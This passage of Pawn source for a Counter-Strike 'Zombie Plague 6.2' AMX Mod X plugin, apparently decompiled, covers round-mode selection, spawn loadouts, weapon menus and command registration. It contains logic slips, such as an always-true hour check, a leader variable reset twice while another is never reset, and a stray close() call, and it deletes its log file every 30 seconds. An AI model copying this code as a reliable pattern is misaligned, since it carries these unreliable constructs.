		iMaxNemesis = floatround(0.24 * g_iAliveCount, floatround_floor);
		iMaxAssassins = floatround(0.24 * g_iAliveCount, floatround_floor);
		iMaxSnipers = floatround(0.25 * g_iAliveCount, floatround_ceil);
		i = random_num(1, g_iMaxClients);
		while (iNemesis < iMaxNemesis)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, true, false);
					set_health(i, 100000);
					iNemesis += 1;
				}
			}
		}
		while (iAssassins < iMaxAssassins)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, false, true);
					set_health(i, 25000);
					iAssassins += 1;
				}
			}
		}
		while (iSnipers < iMaxSnipers)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8))
			{
				if (random_num(0, 1))
				{
					MakeHuman(i, false, true);
					set_health(i, 12500);
					iSnipers += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8 || g_iPlayerType[i] & 4)
			{
			}
			else
			{
				MakeHuman(i, true, false);
				set_health(i, 12500);
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(241, 15, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Nightmare Round !!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	StartAssassinsVsSnipersMode(false);
	return 0;
}

StartAssassinsVsSnipersMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 512 && random_num(1, 37) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 512;
		g_iRoundType = g_iRoundType | 512;
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bAlive[i])
			{
				switch (get_team(i))
				{
					case 1:
					{
						MakeZombie(0, i, false, false, true);
						set_health(i, 35000);
					}
					case 2:
					{
						MakeHuman(i, false, true);
						set_health(i, 12500);
					}
					default:
					{
					}
				}
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Assassins vs Snipers Round !!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	static cTime[4];
	get_time("%H", cTime, 3);
	if (cTime[0] != 48)
	{
		StartSniperMode(0);
	}
	else
	{
		if (cTime[0] == 48 && cTime[1] == 49)
		{
			StartSniperMode(0);
		}
		if (cTime[0] == 48 && cTime[1] == 50)
		{
			StartSniperMode(0);
		}
		StartAssassinMode(0);
	}
	return 0;
}

StartSniperMode(iPlayer)
{
	if ((g_iLastMode != 8 && random_num(1, 35) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 8;
		g_iRoundType = g_iRoundType | 8;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeHuman(i, false, true);
		for ( i = 1; i <= g_iMaxClients; i ++ )
		{
			if ( !g_bAlive [i] ) continue;

			if ( g_iPlayerType[i] & 8 || g_bZombie [i] ) continue;
			
			MakeZombie(0, i, true, false, false);
		}		
		client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Sniper !!", g_cName[j]);
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		set_task(30.00, "TaskReminder", 900, "", 0, "", 0);

		return 0;
	}
	StartSurvivorMode(0);
	return 0;
}

StartSurvivorMode(iPlayer)
{
	if ((g_iLastMode != 4 && random_num(1, 35) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 4;
		g_iRoundType = g_iRoundType | 4;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeHuman(i, true, false);
		for ( i = 1; i <= g_iMaxClients; i ++ )
		{
			if ( !g_bAlive [i] ) continue;

			if ( g_iPlayerType[i] & 4 || g_bZombie [i] ) continue;
			
			MakeZombie(0, i, true, false, false);
		}		
		client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Survivor !!", g_cName[j]);
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		set_task(30.00, "TaskReminder", 900, "", 0, "", 0);

		return 0;
	}
	StartAssassinMode(0);
	return 0;
}


StartAssassinMode(iPlayer)
{
	if ((g_iLastMode != 2 && random_num(1, 31) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 2;
		g_iRoundType = g_iRoundType | 2;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeZombie(0, i, false, false, true);
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
			{
				set_team ( i, 2 );
			}
			i += 1;
		}
		close();
		client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Assassin !!", g_cName[j]);
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		set_task(30.00, "TaskReminder", 900, "", 0, "", 0);

		return 0;
	}
	StartNemesisMode(0);
	return 0;
}

StartNemesisMode(iPlayer)
{
	if ((g_iLastMode != 1 && random_num(1, 29) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 1;
		g_iRoundType = g_iRoundType | 1;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeZombie(0, i, false, true, false);
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
			{
				set_team ( i, 2 );
			}
			i += 1;
		}
		client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Nemesis !!", g_cName[j]);
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		set_task(30.00, "TaskReminder", 900, "", 0, "", 0);

		return 0;
	}
	StartNormalMode(0);
	return 0;
}

StartNormalMode(iPlayer)
{
	static j;
	static i;
	i = GetRandomAlive();
	if (iPlayer)
	{
		i = iPlayer;
	}
	j = i;
	MakeZombie(0, i, false, false, false);
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
		{
			set_team ( i, 2 );
		}
		i += 1;
	}
	set_hudmessage(255, 0, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
	ShowSyncHudMsg(0, g_iTopMessageSync, "%s is the first zombie !!", g_cName[j]);
	remove_task(600, 0);
	set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
	return 0;
}

public EventHLTV()
{
	g_bRoundStart = true;
	FreezeTime = true;
	g_fRoundStartTime = get_gametime();
	return 0;
}

public TaskCounter()
{
	g_iCounter -= 1;
	if (0 < g_iCounter < 9)
	{
		static cWord[12];
		num_to_word(g_iCounter, cWord, 12);
		set_hudmessage(179, 0, 0, -1.00, 0.28, 2, 0.02, 1.00, 0.01, 0.10, 10);
		ShowSyncHudMsg(0, g_iCounterMessage, "Infection in %d", g_iCounter);
		client_cmd(0, "spk fvox/%s", cWord);
	}
	return 0;
}

public EventRoundStart()
{
	g_iRoundType = 0;
	g_bRoundEnd = false;
	g_bRoundStart = true;
	FreezeTime = false;
	g_iCounter = 11;
	remove_task(650, 0);
	set_task(2.0, "TaskWelcome", 650, "", 0, "", 0);
	remove_task(550, 0);
	set_task(12.0, "TaskZombie", 550, "", 0, "", 0);
	remove_task(700, 0);
	set_task(1.0, "TaskCounter", 700, "", 0, "a", 11);	
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && get_user_jetpack(i))
		{
			set_user_rocket_time(i, 0.0);
		}
		g_iJumpsNum[i] = 0;
		g_iBlinks[i] = 0;
		g_bTryder[i] = false;
		g_bUnlimitedClip[i] = false;
		i += 1;
	}
	static cMap[32];
	get_cvar_string("nextmap", cMap, 32);
	if (get_cvar_num("mp_timelimit") == 0)
	{
        set_task(3.0, "TaskInt", 0, "", 0, "", 0);
        set_task(7.0, "TaskChangeLevel", 0, "", 0, "", 0);
	}
	return 0;
}

public Event_RoundStart()
{
	static iEntity, szClassName[ 32 ], iPlayer;
	for( iEntity = 0; iEntity < 600 + 1; iEntity++ ) 
	{
		if( !is_valid_ent( iEntity ) )
		continue;
		
		szClassName[ 0 ] = '^0';
		entity_get_string( iEntity, EV_SZ_classname, szClassName, 31);
		
		if( equal( szClassName, "zp_trip_mine" ) )
		remove_entity( iEntity );
	}
	
	for( iPlayer = 1; iPlayer < 33; iPlayer++ ) 
	{
		g_iTripMines[ iPlayer ] = 0;
		g_iPlantedMines[ iPlayer ] = 0;
	}
}

public EventRoundEnd()
{
	static Float:fCurrent;
	static Float:fLast;
	fCurrent = get_gametime();
	if (floatsub(fCurrent, fLast) < 0.5)
	{
		return 0;
	}
	fLast = fCurrent;
	g_iRoundsCount += 1;
	g_iRounds[g_iRoundsCount] = g_iRoundType;
	g_iLastMode = g_iRoundType;
	g_bRoundEnd = true;
	g_iRoundType = 0;
	remove_task(600, 0);
	remove_task(700, 0);
	remove_task(900, 0);
	remove_task(550, 0);
	remove_task(650, 0);
	client_cmd(0, "stopsound");
	if (!GetZombies())
	{
		set_hudmessage(0, 0, 200, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Humans have defeated the plague!");
		client_cmd(0, "spk %s", g_cEndRoundHumanSounds[random_num(0, 2)]);
	}
	else
	{
		if (!GetHumans())
		{
			set_hudmessage(200, 0, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
			ShowSyncHudMsg(0, g_iTopMessageSync, "Zombies have taken over the world!");
			client_cmd(0, "spk %s", g_cEndRoundZombieSounds[random_num(0, 3)]);
		}
		else
		{
			set_hudmessage(0, 200, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
			ShowSyncHudMsg(0, g_iTopMessageSync, "No one won...");
			client_cmd(0, "spk zombie_plague/end_round_win_no_one");
		}
	}
	static iFrags;
	static iPacks;
	static iKills;
	static cPacksLeader;
	static cFragsLeader;
	iPacks = 0;
	iKills = 0;
	cFragsLeader = 0;
	cFragsLeader = 0;
	g_iVariable = 1;
	while (g_iMaxClients + 1 > g_iVariable)
	{
		if (g_bConnected[g_iVariable])
		{
			iFrags = get_frags(g_iVariable);
			if (iFrags > iKills)
			{
				iKills = iFrags;
				cFragsLeader = g_iVariable;
			}
		}
		g_iVariable += 1;
	}
	g_iVariable = 1;
	while (g_iMaxClients + 1 > g_iVariable)
	{
		if (g_bConnected[g_iVariable] && g_iPacks[g_iVariable] > iPacks)
		{
			iPacks = g_iPacks[g_iVariable];
			cPacksLeader = g_iVariable;
		}
		g_iVariable += 1;
	}
	PrintToChat(0, "^4[ZP]^1 The frags leader is^3 %s^1 @^4 %i frags", g_cName[cFragsLeader], iKills);
	PrintToChat(0, "^4[ZP]^1 The packs leader is^3 %s^1 @^4 %i packs", g_cName[cPacksLeader], iPacks);
	static iTeam;
	static j;
	static i;
	i = random_num(1, g_iMaxClients);
	iTeam = 1;
	j = 1;
	while (g_iMaxClients + 1 > j)
	{
		i += 1;
		if (i > g_iMaxClients)
		{
			i = 1;
		}
		if (!g_bConnected[i] || 0 < get_team(i) < 3)
		{
		}
		else
		{
			if (iTeam > 2)
			{
				iTeam = 1;
			}
			set_team_offset(i, iTeam);
			iTeam += 1;
		}
		j += 1;
	}	
	///BalanceTeams();
	return 0;
}

public _PlayerSpawn(iPlayer)
{
	if (is_user_alive(iPlayer))
	{
		g_bAlive[iPlayer] = true;
		g_bCanBuy[iPlayer] = 1;
		g_cClass[iPlayer] = "Human";
		g_iBurningDuration[iPlayer] = 0;
		g_iPlayerType[iPlayer] = 0;
		g_bUnlimitedClip[iPlayer] = false;
		g_bNoDamage[iPlayer] = false;
		g_bZombie[iPlayer] = false;
		g_bFlashEnabled[iPlayer] = false;
		g_bFlash[iPlayer] = false;
		set_zombie(iPlayer, false);
		set_monster(iPlayer, false);
		remove_glow(iPlayer);
		g_bFrozen[iPlayer] = false;
		set_take_damage(iPlayer, 2);
		set_frozen(iPlayer, false);
		set_health(iPlayer, 150);
		set_gravity(iPlayer, 1.0);
		set_speed(iPlayer, 240.0);
		remove_task(iPlayer + 250, 0);
		remove_task(iPlayer + 200, 0);
		remove_task(iPlayer + 350, 0);
		static Float:fCurrentTime;
		fCurrentTime = get_gametime();
		if (floatsub(fCurrentTime, g_fLastChangedModel) >= 0.35)
		{
			ChangeModel(iPlayer + 250);
			g_fLastChangedModel = fCurrentTime;
		}
		else
		{
			set_task(floatsub(floatadd(0.35, g_fLastChangedModel), fCurrentTime), "ChangeModel", iPlayer + 250,"", 0, "", 0);
			g_fLastChangedModel = floatadd(0.35, g_fLastChangedModel);
		}
		set_task(0.2, "TaskShowMenu", iPlayer, "", 0, "", 0);
		set_task(random_float(1.0, 5.0), "TaskRespawn", iPlayer, "", 0, "", 0);
		if (!g_bRoundStart)
		{
			if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 64 || g_iRoundType & 32)
			{
				MakeZombie(0, iPlayer, false, false, false);
			}
			if (!g_iRoundType || g_iRoundType & 1 || g_iRoundType & 2)
			{
				if (get_team(iPlayer) != 2)
				{		
                    set_team ( iPlayer, 2 );
				}
			}
			if (g_iRoundType & 128 || g_iRoundType & 256)
			{
				MakeHuman(iPlayer, true, false);
			}
			if (g_iRoundType & 512)
			{
				MakeZombie(0, iPlayer, false, false, true);
			}
		}
		if (g_Hidden[iPlayer])
		{
			Make_Client_Visible(iPlayer);
			g_Hidden[iPlayer] = false;
		}	
		g_bConnected[iPlayer] = true;
		give_weapon(iPlayer, "weapon_knife");
		give_weapon(iPlayer, "weapon_deagle");
		give_weapon(iPlayer, "weapon_xm1014");
		give_weapon(iPlayer, "weapon_g3sg1");
		give_weapon(iPlayer, "weapon_ak47");
		give_weapon(iPlayer, "weapon_m4a1");
		give_weapon(iPlayer, "weapon_hegrenade");
		give_weapon(iPlayer, "weapon_flashbang");
		give_weapon(iPlayer, "weapon_smokegrenade");
		give_ammo(iPlayer, 26, 9999);
		give_ammo(iPlayer, 5, 9999);
		give_ammo(iPlayer, 24, 9999);
		give_ammo(iPlayer, 28, 9999);
		give_ammo(iPlayer, 22, 9999);			
	}
	return 0;
}

public TaskRespawn(iPlayer)
{
	if (g_bConnected[iPlayer] && 0 < get_team(iPlayer) < 3)
	{
		if (!g_bAlive[iPlayer])
		{
			ExecuteHamB(Ham_CS_RoundRespawn, iPlayer);
			set_task(1.5, "TaskRespawn", iPlayer, "", 0, "", 0);
		}
		send_hide_weapon(iPlayer, 32);
		send_crosshair(iPlayer);
	}
	return 0;
}

public TaskShowMenu(iPlayer)
{
	if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer] && !g_bZombie[iPlayer])
	{
		menu_display(iPlayer, g_iPrimaryMenu, 0);
	}
	return 0;
}

public _PrimaryMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		DropWeapons(iPlayer, 1);
		give_weapon(iPlayer, g_cPrimaryEntities[iChoice]);
		give_ammo(iPlayer, g_iPrimaryWeapons[iChoice], 9999);
		menu_display(iPlayer, g_iSecondaryMenu, 0);
		g_bCanBuy[iPlayer] = 0;
	}
	return 0;
}

public _SecondaryMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		DropWeapons(iPlayer, 2);
		give_weapon(iPlayer, g_cSecondaryEntities[iChoice]);
		give_ammo(iPlayer, g_iSecondaryWeapons[iChoice], 9999);
		if (!user_has_weapon(iPlayer, 4, -1))
		{
			give_weapon(iPlayer, "weapon_hegrenade");
		}
		if (!user_has_weapon(iPlayer, 25, -1))
		{
			give_weapon(iPlayer, "weapon_flashbang");
		}
		if (!user_has_weapon(iPlayer, 9, -1))
		{
			give_weapon(iPlayer, "weapon_smokegrenade");
		}
	}
	return 0;
}

DropWeapons(iPlayer, iType)
{
	static i;
	static cWeapon[24];
	static iNum;
	static iWeapons[32];
	iNum = 0;
	get_user_weapons(iPlayer, iWeapons, iNum);
	i = 0;
	while (i < iNum)
	{
		if (iType & 1 << iWeapons[i])
		{
			get_weaponname(iWeapons[i], cWeapon, 24);
			engclient_cmd(iPlayer, "drop", cWeapon, "");
		}
		i += 1;
	}
	return 0;
}

public plugin_init()
{
	register_plugin("Zombie Plague 6.2", "2.0b", "SideWinder");
	new i;
	new cNumber[3];
	new cLine[128];
	RegisterHam(Ham_Spawn, "player", "_PlayerSpawn", 1);
	RegisterHam(Ham_TakeDamage, "player", "_TakeDamage", 0);
	RegisterHam(Ham_TakeDamage, "player", "_TakeDamage_Post", 1);
	RegisterHam(Ham_Touch, "weaponbox", "_Touch", 0);
	RegisterHam(Ham_Touch, "armoury_entity", "_Touch", 0);
	RegisterHam(Ham_Item_PreFrame, "player", "_ResetMaxSpeed", 1);	
	RegisterHam(Ham_Killed, "player", "_PlayerKilled", 0);
	RegisterHam(Ham_TraceAttack, "player", "_TraceAttack", 0);
	RegisterHam(Ham_Think, "grenade", "_GrenadeThink", 0);
	RegisterHam(Ham_Player_Jump, "player", "_PlayerJump", 0);
	RegisterHam(Ham_Player_Duck, "player", "_PlayerDuck", 0);
	register_logevent("EventRoundStart", 2, "1=Round_Start");
	register_logevent("Event_RoundStart", 2, "1=Round_Start");
	register_logevent("EventRoundEnd", 2, "1=Round_End");
	register_event("HLTV", "EventHLTV", "a", "1=0", "2=0");
	register_event("CurWeapon", "UpdateWeapon", "be", "1=1", "3=13", "3=15", "3=20", "3=25", "3=30", "3=35", "3=12", "3=10", "3=100", "3=8", "3=7", "3=50");
	register_event("CurWeapon", "Event_CurWeapon_KnifeModel", "be", "1=1", "2=18", "2=29");
	register_event("CurWeapon", "Event_CurWeapon_FillClip", "be", "1=1", "2!4", "2!9", "2!25", "2!29", "3<2");
	register_event("StatusValue", "EventStatusValue", "be", "1=2", "2!0");
	register_event("StatusValue", "EventStatusValueHide", "be", "1=1", "2=0");
	register_concmd("amx_addfake", "Command_AddFake", -1, "", -1);
	register_concmd("amx_freeze", "CmdFreeze", -1, "", -1);
	register_concmd("amx_unfreeze", "CmdUnfreeze", -1, "", -1);
	register_concmd("amx_psay", "Commmand_PrivateSay", -1, "", -1);
	register_concmd("amx_map", "Command_Map", -1, "", -1);
	register_concmd("amx_votemap", "CmdVoteMap", -1, "", -1);
	register_concmd("amx_who", "Command_Who", -1, "", -1);
	register_concmd("amx_last", "Command_Last", -1, "", -1);
	register_concmd("amx_unban", "Command_Unban", -1, "", -1);
	register_concmd("amx_addban", "Command_Addban", -1, "", -1);
	register_concmd("amx_banip", "Command_Banip", -1, "", -1);
	register_concmd("amx_kick", "Command_Kick", -1, "", -1);
	register_concmd("amx_slay", "Command_Slay", -1, "", -1);
	register_concmd("amx_slap", "Command_Slap", -1, "", -1);
	register_concmd("amx_gag", "Command_Gag", -1, "", -1);
	register_concmd("amx_ungag", "Command_Ungag", -1, "", -1);
	register_concmd("amx_exec", "Command_Exec", -1, "", -1);
	register_concmd("amx_destroy", "Command_Destroy", -1, "", -1);
	register_concmd("amx_showip", "Command_Showip", -1, "", -1);
	register_concmd("amx_reloadadmins", "Command_Reload", -1, "", -1);
	register_concmd("zp_jetpack", "CmdMode", -1, "", -1);
	register_concmd("zp_giveap", "CmdMode", -1, "", -1);
	register_concmd("zp_human", "CmdMode", -1, "", -1);
	register_concmd("zp_zombie", "CmdMode", -1, "", -1);
	register_concmd("zp_nemesis", "CmdMode", -1, "", -1);
	register_concmd("zp_sniper", "CmdMode", -1, "", -1);
	register_concmd("zp_survivor", "CmdMode", -1, "", -1);
	register_concmd("zp_assassin", "CmdMode", -1, "", -1);
	register_concmd("zp_respawn", "CmdMode", -1, "", -1);
	register_concmd("zp_swarm", "CmdMode", -1, "", -1);
	register_concmd("zp_plague", "CmdMode", -1, "", -1);
	register_concmd("zp_multi", "CmdMode", -1, "", -1);
	register_concmd("zp_avs", "CmdMode", -1, "", -1);
	register_concmd("zp_lnj", "CmdMode", -1, "", -1);
	register_concmd("zp_nightmare", "CmdMode", -1, "", -1);
	register_clcmd("cl_setautobuy", "CmdBlock", -1, "", -1);
	register_clcmd("cl_setrebuy", "CmdBlock", -1, "", -1);
	register_clcmd("cl_autoupdate", "CmdUpdate", -1, "", -1);
	register_clcmd("say", "Client_Say", -1, "", -1);
	register_clcmd("say_team", "Client_SayTeam", -1, "", -1);
	register_clcmd("jointeam", "Command_JoinTeam", -1, "", -1);
	register_clcmd("chooseteam", "Command_JoinTeam", -1, "", -1);
	register_clcmd("plant_mine", "Command_Plant", -1, "", -1);
	register_clcmd("take_mine", "Command_Take", -1, "", -1);
	register_clcmd("CreateLaser", "Command_Plant", -1, "", -1);
	register_clcmd("TakeLaser", "Command_Take", -1, "", -1);
	register_clcmd("+setlaser", "Command_Plant", -1, "", -1);
	register_clcmd("+dellaser", "Command_Take", -1, "", -1);
	register_clcmd("nightvision", "Command_Flash", -1, "", -1);
	register_clcmd("drop", "Command_Drop", -1, "", -1);
	register_message(get_user_msgid("Health"), "MessageHealth");
	register_message(get_user_msgid("SayText"), "MessageSayText");
	register_message(get_user_msgid("Money"), "MessageMoney");
	set_msg_block(get_user_msgid("TextMsg"), 2);
	set_msg_block(get_user_msgid("SendAudio"), 2);
	set_msg_block(get_user_msgid("AmmoPickup"), 2);
	set_msg_block(get_user_msgid("WeapPickup"), 2);
	register_forward(FM_SetModel, "Grenade_Thrown");
	register_forward(FM_TraceLine, "FW_TraceLine_Post", 1);
	register_forward(FM_PlayerPreThink, "FW_PlayerPreThink");
	register_forward(FM_PlayerPreThink, "_PlayerDuck_Post")
	register_forward(FM_UpdateClientData, "Update_Client_Data");	
	register_think("zp_trip_mine", "Mine_Think");
	g_iMaxClients = get_maxplayers();
	g_iTopMessageSync = CreateHudSyncObj(0);
	g_iLeftMessageSync = CreateHudSyncObj(0);
	g_iDownMessageSync = CreateHudSyncObj(0);
	g_iCenterMessageSync = CreateHudSyncObj(0);
	g_iFirstMineMessage = CreateHudSyncObj(0);
	g_iSecondMineMessage = CreateHudSyncObj(0);
	g_iAdvertisementsSync = CreateHudSyncObj(0);
	g_iEventsHudmessage = CreateHudSyncObj(0);
	g_iCounterMessage = CreateHudSyncObj(0);
	g_iRemainingSync = CreateHudSyncObj(0);
	g_iGameMenu = menu_create("Game Menu", "_GameMenu", 0);
	g_iSecondaryMenu = menu_create("Secondary Menu", "_SecondaryMenu", 0);
	g_iPrimaryMenu = menu_create("Primary Menu", "_PrimaryMenu", 0);
	g_iMenuZombieClasses = menu_create("Zombie Classes", "_ZombieClasses", 0);
	menu_additem(g_iGameMenu, "Buy Weapons", "0", 0, -1);
	menu_additem(g_iGameMenu, "Buy extra items", "1", 0, -1);
	menu_additem(g_iGameMenu, "Choose zombie class", "2", 0, -1);
	menu_additem(g_iGameMenu, "Unstuck", "3", 0, -1);
	menu_additem(g_iGameMenu, "Join spectator", "4", 0, -1);
	i = 0;
	while (i < 7)
	{
		formatex(cLine, 128, "%s %s", g_cZombieClasses[i], g_cZombieAttribs[i]);
		num_to_str(i, cNumber, 3);
		menu_additem(g_iMenuZombieClasses, cLine, cNumber, 0, -1);
		i++;
	}
	i = 0;
	while (i < 6)
	{
		num_to_str(i, cNumber, 3);
		menu_additem(g_iSecondaryMenu, g_cSecondaryWeapons[i], cNumber, 0, -1);
		g_iSecondaryWeapons[i] = get_weaponid(g_cSecondaryEntities[i]);
		i++;
	}
	i = 0;
	while (i < 14)
	{
		num_to_str(i, cNumber, 3);
		menu_additem(g_iPrimaryMenu, g_cPrimaryWeapons[i], cNumber, 0, -1);
		g_iPrimaryWeapons[i] = get_weaponid(g_cPrimaryEntities[i]);
		i++;
	}
	g_aNameData = ArrayCreate(32, 1);
	g_aAmmoData = ArrayCreate(1, 1);
	set_task(0.5, "TaskGetAdmins", 0, "", 0, "", 0);
	set_task(6.2, "TaskGetMaps", 0, "", 0, "", 0);
	set_task(3.5, "TaskGetHudMsg", 0, "", 0, "", 0);
	set_task(33.5, "Task_SendMessages", 0, "", 0, "b", 0);	
	set_task(5.0, "TaskLight", 0, "", 0, "b", 0);
	set_task(30.0, "TaskUnlink", 0, "", 0, "b", 0);
	g_bAdmin[0] = true;
	set_task(2.0, "TaskCalculateArguments", 0, "", 0, "b", 0);
	static cTime;
	static iTime[3];
	get_time("%H", iTime, 2);
	cTime = str_to_num(iTime);
	if (cTime >= 18 || cTime <= 19)
	{
        set_task(0.5, "Task_CheckBots", 0, "", 0, "a", 3);
	}
	return 0;
}

public plugin_end()
{
	static current_map[32];
	get_mapname(current_map, 31);
	set_localinfo("lastMap", current_map);
	return 0;
}

public TaskUnlink() 
{
	unlink("Logs.log");
}

public TaskGetHudMsg()
{
	new iFile;
	new cLine[161];
	iFile = fopen("addons/amxmodx/configs/messages.ini", "r");
	if (iFile)
	{
		while (!feof(iFile))
		{
			fgets(iFile, cLine, 160);
			trim(cLine);
			if (4 < strlen(cLine))
			{
				copy(g_cHudAdvertisements[g_iHudAdvertisementsCount], 160, cLine);
				replace_all(g_cHudAdvertisements[g_iHudAdvertisementsCount], 160, "^n", "^n");
				g_iHudAdvertisementsCount += 1;
			}
		}
		fclose(iFile);
	}
	return 0;
}

public Task_SendMessages()
{
	set_task(1.0, "TaskHudXYZ", 0, "", 0, "", 0);
	if (g_iMessage >= g_iAdvertisementsCount)
	{
		g_iMessage = 0;
	}
	PrintToChat(0, g_cAdvertisements[g_iMessage]);
	g_iMessage += 1;
	return 0;
}

public TaskHudXYZ()
{
	if (g_iHudMessage >= g_iHudAdvertisementsCount)
	{
		g_iHudMessage = 0;
	}
	set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.00, 0.20, 2, 0.20, 6.00, 0.10, 0.20, -1);
	client_print(0, 2, g_cHudAdvertisements[g_iHudMessage]);
	ShowSyncHudMsg(0, g_iAdvertisementsSync, g_cHudAdvertisements[g_iHudMessage]);
	g_iHudMessage += 1;
	return 0;
}

public TaskGetMaps()
{
	static cTime;
	static iTime[3];
	static cRight[32];
	static cLeft[32];
	static bool:bNight;
	static bool:bStop;
	static cMaps[128][32];
	static iRandom;
	static iPreparedMaps;
	static cLastMap[32];
	static cMap[32];
	static iMaps;
	static cLine[64];
	static iFile;
	iPreparedMaps = 0;
	iMaps = 0;
	get_time("%H", iTime, 2);
	cTime = str_to_num(iTime);
	get_mapname(cMap, 31);
	get_localinfo("lastMap", cLastMap, 31);
	iFile = fopen("addons/amxmodx/configs/maps.ini", "r");
	if (cTime >= 22 || cTime <= 13)
	{
		bNight = true;
	}
	while (!feof(iFile))
	{
		fgets(iFile, cLine, 63);
		strtok(cLine, cLeft, 31, cRight, 31, 32, 0);
		trim(cLeft);
		trim(cRight);
		if (!bNight)
		{
			if (is_map_valid(cLeft) && !equal(cLeft, cMap, 0) && !equal(cLeft, cLastMap, 0) && !equali(cRight, "*", 0))
			{
				copy(cMaps[iMaps], 31, cLeft);
			}
			iMaps += 1;
		}
		else
		{
			if (is_map_valid(cLeft) && !equal(cLeft, cMap, 0) && !equal(cLeft, cLastMap, 0) && !equali(cRight, ";", 0))
			{
				copy(cMaps[iMaps], 31, cLeft);
			}
			iMaps += 1;
		}			
			
	}
	fclose(iFile);
